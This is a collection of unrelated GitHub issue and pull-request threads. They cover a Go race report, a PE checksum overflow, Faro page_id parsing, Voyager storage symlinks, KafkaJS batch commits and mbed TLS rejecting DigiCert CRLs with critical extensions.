The only thing that only I have the permission for currently is pushing to pypi, but I'm happy to add more users to it! Just send me an email with your username on there. (But I'm also happy to keep pushing to pypi for every new release, that's zero effort.)


go test -race failed

Hi, there. I do not know is it really serious errors or not. I just reporting.
go version go1.15.3 linux/amd64

go test -race

WARNING: DATA RACE
Write at 0x000000853608 by goroutine 14:
  github.com/natefinch/lumberjack.TestCompressMaintainOwner()
      /home/blaa/projects/lumberjack/linux_test.go:134 +0x11c
  testing.tRunner()
      /home/blaa/go/src/testing/testing.go:1123 +0x202

Previous read at 0x000000853608 by goroutine 12:
  github.com/natefinch/lumberjack.chown()
      /home/blaa/projects/lumberjack/chown_linux.go:18 +0x104
  github.com/natefinch/lumberjack.compressLogFile()
      /home/blaa/projects/lumberjack/lumberjack.go:480 +0x36f
  github.com/natefinch/lumberjack.(*Logger).millRunOnce()
      /home/blaa/projects/lumberjack/lumberjack.go:367 +0x6ec
  github.com/natefinch/lumberjack.(*Logger).millRun()
      /home/blaa/projects/lumberjack/lumberjack.go:381 +0x67
.....

I'm seeing inconsistent rotation behavior that may be related to a race condition.
Try spamming the log output and it doesn't rotate for me. Running on Windows.
for {
for i := 0; i < 5000; i++ {
log.Infoln("Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! Hello! ")
time.Sleep(time.Microsecond)
}
time.Sleep(time.Second)
}


[BUG] If search text field is active, textcursor is always set to the end of the text if a letter is added

Describe the bug
If search text field is active, the textcursor is always set to the end of the text if a letter is added.
To Reproduce
Steps to reproduce the behavior:

Go to 'TermSearch'
Click on the text field, insert a word, move the textcursor to the beginning of the word
Add a letter
Textcursor is moved to the end of the word

Expected behavior
Textcursor stays at the expected position (1 character further than before)
OS and framework information (please complete the following information):

OS: [e.g. Windows 10]
OS Version [e.g. 1809]
MS Excel: [e.g. Excel Desktop, Excel Online]
MS Excel version [only for Excel Desktop]

Fixed!


Overflow Error in calc_checksum

Issue Summary:
The calc_checksum function in the PE module crashes when processing certain files, such as ChromeSetup.exe. This occurs because the checksum variable is defined as a u32, which leads to an overflow when calculating the checksum for larger PE files.
Steps to Reproduce:
Download a large PE file (e.g., ChromeSetup.exe).
Run the calc_checksum function from the PE module.
Observe the crash or overflow error during the checksum calculation.

Solution
The issue was resolved by modifying the calc_checksum function to use a u64 type for intermediate calculations. This prevents the overflow while still returning the final checksum as a u32.


v1.6.0

Added

Switch between daily, weekly and yearly views
ACKEE_ALLOW_ORIGIN now supports multiple domains (#79 #82, thanks @jaryl)

Improved

JS error handling with React error boundary

Fixed

Loading indicator when the sizes-view is loading
Catch errors when the sizes-view throws an error

Pull Request Test Coverage Report for Build 287

62 of 107 (57.94%)  changed or added relevant lines in 21 files are covered.
5 unchanged lines in 5 files lost coverage.
Overall coverage increased (+2.3%) to 59.791%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/database/durations.js
4
6
66.67%

src/database/languages.js
3
5
60.0%

src/database/pages.js
3
5
60.0%

src/database/referrers.js
4
7
57.14%

src/routes/durations.js
1
4
25.0%

src/routes/languages.js
1
4
25.0%

src/routes/pages.js
1
4
25.0%

src/routes/referrers.js
1
4
25.0%

src/routes/sizes.js
1
4
25.0%

src/database/sizes.js
2
6
33.33%

Files with Coverage Reduction
New Missed Lines
%

src/routes/durations.js
1
46.67%

src/routes/languages.js
1
46.67%

src/routes/pages.js
1
46.67%

src/routes/referrers.js
1
46.67%

src/routes/sizes.js
1
46.67%

Totals

Change from base Build 272:
2.3%

Covered Lines:
366

Relevant Lines:
547

💛  - Coveralls


Configurable commands

Currently, SensorBee's commands are hardcoded, so fix as configurable from build.yaml on  build_sensorbee
https://github.com/sensorbee/sensorbee/blob/8057c6824d64a311cdc91196ad4c751e4cfccd03/cmd/build_sensorbee/main.go#L107
Sample1:
build.yaml
commands:
  runfile:

then sensorbee has only sensorbee runfile command.
Sample2:
build.yaml
commands:
  shell:
  run:
  custom:
    pkg: repo
    path: path/to/repo

then sensorbee has run, shell, and repo commands. repo is user-customized command.
Default:
If no command is set-up in configuration, then build_sensorbee will make with default commands, run, shell, topology, exp, and runfile.

I think this YAML schema is simpler, A key name is used as an alias for import path.
commands:
  runfile:
  repo:
    path: path/to/repo
  repo2:
    path: path/to/repo2.v1

then
import (
  "gopkg.in/sensorbee/sensorbee.v0/cmd/lib/runfile"
  repo "path/to/repo"
  repo2 "path/to/repo2.v1"
)

But I don't know this format is actually useful or not.

I think your new idea is very nice.


link to webrecorder

Clicking on URLs and domains in the reports takes you over to Webrecorder where
you can view that URL and capture it into an anonymous collection.
This isn't particularly useful since there is no continuity between the user on
dnflow and webrecorder. But it should at least help frame some of the discussion
about a tighter coordination between docnow and webrecorder in order to allow
researchers and archivists to identify material in need of archiving.
Fixes #11

Does it make sense to send the generic domains to webrecorder?  That probably won't catch anything related to the material relevant to the context of the collected data.

Yeah, I guess it doesn't make so much sense to look at domains in Webrecorder.


[Question] page_id is set to "/*" for URLs other the "english words"

Description
When integrating the very basic Faro implementation into my VueJS frontend (see sample config below) - and have routes defined via "vue-router" other then english words (such as /servers, /networks, /houses), the page_id setting is always set to "/*". Is there any way to configure this?
initializeFaro({
  url: 'https://faro-collector-prod-eu-west-2.grafana.net/collect/<app-id>',
  app: {
    name: 'Sample',
    version: '1.0.0',
    environment: 'developement'
  },

  instrumentations: [
    ...getWebInstrumentations({
      enablePerformanceInstrumentation: true
    }),

    // Tracing package to get end-to-end visibility for HTTP requests.
    new TracingInstrumentation()
  ]
});

Environment

SDK version:
SDK instrumentations: Web SDK
Device type: Desktop
Device name: Desktop PC, Manjaro
OS: Manjaro
Browser: Firefox 131

Screenshots

Hi @undefinedhuman need to investigate whats going on there.
There's a way to set own pageIDs but it's not that easy to find. We'll improve this in future releases.
Currently you can archive this with overwriting the page meta.
Example
initializeFaro({
   // ....
    metas: [
      () => ({
        page: {
          id: parsePageId(location.pathname),
          url: location.href,
          attributes: {
            foo: 'bar',
          },
        },
      }),
    ],
// ...
})

Maybe this can help you as a workaround for now?
Cheers,
Marco

That works! Thank you very much!
As for my research: I found out if I use "regular" words it works, I first noticed it because my Entity URLs contain the UUID of the entity. So for example:
/servers => page_id: /servers
/servers/UUID => page_id: /servers/*
And for non english nouns I would say it would also convert the page_id to /*
If you need more information about the setup or if I should setup a minimal example please let me know!

Hey @undefinedhuman thank you for opening the issue  and your PR as well 🙏
The page_id parsing happens in the Faro receiver.
The parser's gibberish detector is based on a likeliness of two letters being next to each other in western European languages, so for example "abc" is gibberish because it doesn't happen often in words.
The parser is working as expected and the page_id can be overridden cia the page_id meta in Faro itself.
Closing the issue for now.


BUG: fix css on wizard on that button do not cover the input fields

Pre:

after:

Interesting CSS problem this, this will cause flinks iframe to break, Let me double check and I'll approve


'explicit_content_filter' is not available in Guild commons?

Speaking of this:
https://discordapp.com/developers/docs/resources/guild#guild-object-explicit-content-filter-level

One of the to-dos. Several of our models are outdated, and this is one of them. There are other outdated models such as the message model where it's missing the activity prop and such.

I've got a PR ready to fix this change, but I'm going to be greedy and wait until Hacktoberfest begins (a few days from now) to create it. Could I claim this issue please?
https://github.com/Chris-Johnston/Discord.Net/tree/implement-explicit-content-filter
Also, regarding models being out of date, Guild.cs is also missing widget_enabled? and widget_channel_id?.


"no window" option by default lead to some crash

Hi !
First, thank you for your incredible work on this extension !!
I use this on some old PC at my school. The fact that there is "no window" by default selected lead to crash or slow down very quicly our computers due to the amount of datas displayed at the same time.
To avoid that, can we have an other default option selected, or a parameters to change that value by default ?
Thanks a lot 👍

Didn't had this problem for my part with UDP packets

Looking forward for the next update ! Can't wait for the features that will be embedded in it

The version 1.0.8 has been released and fixes the duration of the window the 15s along with other sneaky features here and  there ;)


CI Formater

BlueStyle format, deleted an old file, updated every lazy_grid function in the files to be up to date

updated the CI Formatter to only check the src folder

great thanks a lot!


Fix README file

In the README file, the hyperlink for BasicRxJavaKotlinSample project is pointing out to a wrong url.
Replace
https://github.com/googlesamples/android-architecture-components/blob/master/BasicRxJavaKotlinSample
to
https://github.com/googlesamples/android-architecture-components/tree/master/BasicRxJavaSampleKotlin

fixed.


Make pre-commit separate workflow in CI

Fixes part of #68 and part of #80.

Still to do:

Make docstring formatting part of pre-commit (to complete #68 and #80)


On Hover over a button cursor pointer is not set.

And There are many places where this is not implemented. So I would like to contribute towards this.
I am in GSSOC 2023.

Hey..it's already been done!
Closing the issue..
Thanks..


Workflow & Build config improvements

Changes
Gradle build config

renamed enableKotlinMultiplatformJvm -> enableKotlinJvm (so it's less verbose and easier to read)
flipped the 'is project.version a snapshot version' logic to assume the version is a snapshot, unless it matches X.Y.Z (more defensive, less chance of mistake)
updated the Kotlin Native target definitions

use target shortcuts
refactored source sets to be a little more cohesive (I found it much easier when the main/test source sets are paired up)

created a 'Kotlin Target Tests' lifecycle task that should test all tests for a Kotlin target (I was planning to use this in the Workflow, but in the end I didn't. I'm leaving it in because it is a little useful)
updated some of the checks in maven-publish convention plugin so the project will build without a signing key
applied some Gradle Config Cache workarounds in maven-publish convention (if I ran the publish task twice in a row, Gradle complained)
added in the Okio BOM
added a check to the subprojects so the Kotlin/JVM sourceset will only be configured if ks3_enableKotlinJvm=true

GitHub Workflow

created a reusable workflow, for running a single 'Gradle task' (reduces duplication in the Workflows)
created new step to run ./gradlew check (because it's a lifecycle task that runs more than just the code tests)
updated release.yml to publish on all operating systems (not sure if this works yet!)
updated release.yml so it should run when a tag or new release is created

Hey @Kantis, I'm going to merge this but I'm pinking so you can take a look, because there's a few changes you should be aware about (and can be rolled back if you disagree)
In particular, make sure to do a check when adding dependencies to a sourceset - this makes the workflow tests faster
kotlin {
    sourceSets {
      if (ks3Settings.enableKotlinJvm.get()) {
         val jvmTest by getting {
            dependencies {
               implementation(libs.kotest.runnerJunit5)
            }
         }


Photos do not show when the post after deploying

Laravel Version: 5.3.30
Voyager Version: 0.10.13
PHP Version: 7.0.8
Database Driver & Version: Mysql 5.7.17
Description:

In my localhost: I made successfully upload photos and
was displayed in the post by: php artisan storage:link

When I made the web deploying to cpanel
I'm copied everything inside public folders into pubic_html and my rest I move into a local directory and I changed public/index.php:
require DIR.'/../bootstrap/autoload.php';
$app = require_once DIR.'/../bootstrap/app.php';
to
require DIR.'/../local/bootstrap/autoload.php';
$app = require_once DIR.'/../local/bootstrap/app.php';

Everything normal but i'm does not post photos on body insert/edit image! I think the error arising in the path storage_path when I move to local folder on server!

My error: "Missing storage symlink
We could not find a storage symlink. This could cause problems with loading media files from the browser."
Please help me fix!
Steps To Reproduce:

Sounds like your server does not support the symlink method.
Then you should consider upgrading to v0.11.0, that adds support for directly added files to the public path instead of the storage path with symlink.

I do have the similar issue.
Can you elaborate how it can be done without symlink??


Update CODEOWNERS for files under tt_metal/impl/device/

I'm apparently not an owner on the files I created

completed


eachBatch() autoCommit behaviour doesn't seem to match documentation

This is just an observation from reviewing the runner code (so I may well be mistaken!)
The documentation states:

eachBatch ... All resolved offsets will be automatically committed after the function is executed.

Also, shouldn't there be a call to autoCommitOffsetsIfNecessary() after batchBatch() completes?

Also the same problem, it seems that all messages are commited at the end of the entire fetch iteration.
So if i break the iteration in the middle of batch process, the next time it start again from the first message

@matteo-r You can call the resolveOffset() and commitOffsetsIfNecessary() functions passed into eachBatch() and set autoCommitThreshold=1.  That way you can commit whenever you need to.  (I think you could also commitOffsetsIfNecessary( uncommittedOffsets())  )
But I think the current behaviour/ documentation is at best unclear and not what users would expect.


LitElement Function "Does Not Exist"

I don't know where else to ask this question and I don't want to have to rewrite my entire app to support the alternative.
I'm currently rewriting a Polymer app to the latest Lit.  In the original app, custom functions will be called on the elements even if they are not yet added to the DOM.
When calling a LitElement instances custom function (non-Lit API), it will call fine if the element is added to the DOM, but if it hasn't yet been added, I get a function does not exist error.  Is there something I need to do prior to invocation, without adding the element to the DOM, to get the function to execute?

I'm also finding the same issue when accessing properties of these nodes.  I'm using Lit with vanilla JavaScript, here.

Can you provide more details or ideally some kind of reproduction? Online on lit.dev or Stackblitz would be best.

Hi Lazarus404. closing this issue, please reopen if needed.


Unable to read CRL files from DigiCert

Description
Unable to read CRL files from DigiCert

Type:  Question
Priority: Blocker

Bug
OS
Mbed OS|linux|
**mbed TLS build:2.13
Version: 2.13
OS version: Ubuntu 18.04
Configuration: please attach config.h file where possible
Compiler and options (if you used a pre-built binary, please indicate how you obtained it):
Additional environment information:
Peer device TLS stack and version
Version:
Expected behavior
The CRL should be read without error.
Actual behavior
ERROR: MbedTLS error code -9570: X509 - The extension tag or value is invalid : ASN1 - ASN1 tag was of an unexpected value
Steps to reproduce
Source code:
#include "x509_crl.h"
#include "x509_crt.h"
#include "error.h"
#include <cstdio>
#include <cstdlib>

int main(int argc, char** argv){
	mbedtls_x509_crl* crl = (mbedtls_x509_crl*)malloc(sizeof(mbedtls_x509_crl));
	mbedtls_x509_crl_init(crl);
	int err = mbedtls_x509_crl_parse_file(crl, "../test/sha2-ev-server-g2.crl");
	char errorbuf[1024];
	mbedtls_strerror(err, errorbuf, sizeof(errorbuf));
	printf("%d %s\n", err, errorbuf);
}

The same file works fine with openssl.

@sambitdash Thank you for your question!
The reason you are getting this error is because of this code:
        /* Abort on (unsupported) critical extensions */
        if( is_critical )
            return( MBEDTLS_ERR_X509_INVALID_EXTENSIONS +
                    MBEDTLS_ERR_ASN1_UNEXPECTED_TAG );

The crl contains a critical extension (issuingDistributionPoint), but as documented
/*
 * X.509 CRL v2 extensions
 *
 * We currently don't parse any extension's content, but we do check that the
 * list of extensions is well-formed and abort on critical extensions (that
 * are unsupported as we don't support any extension so far)
 */

Marking this issue as an enhancement request

@RonEld Which extension is missing?

@hanno-arm
The missing critical extension is issuingDistributionPoint

@RonEld Thanks!
@sambitdash As a workaround, also consider MBEDTLS_X509_ALLOW_UNSUPPORTED_CRITICAL_EXTENSION.

@hanno-arm I am not sure this configuration works on crl

@RonEld Oh, right. Then we may consider extending the scope MBEDTLS_X509_ALLOW_UNSUPPORTED_CRITICAL_EXTENSIONS as an immediate workaround for this; its name doesn't confine it to CRTs.

Kindly, consider this as a priority use case to be supported as DigiCert is a significant vendor in the SSL certificates market.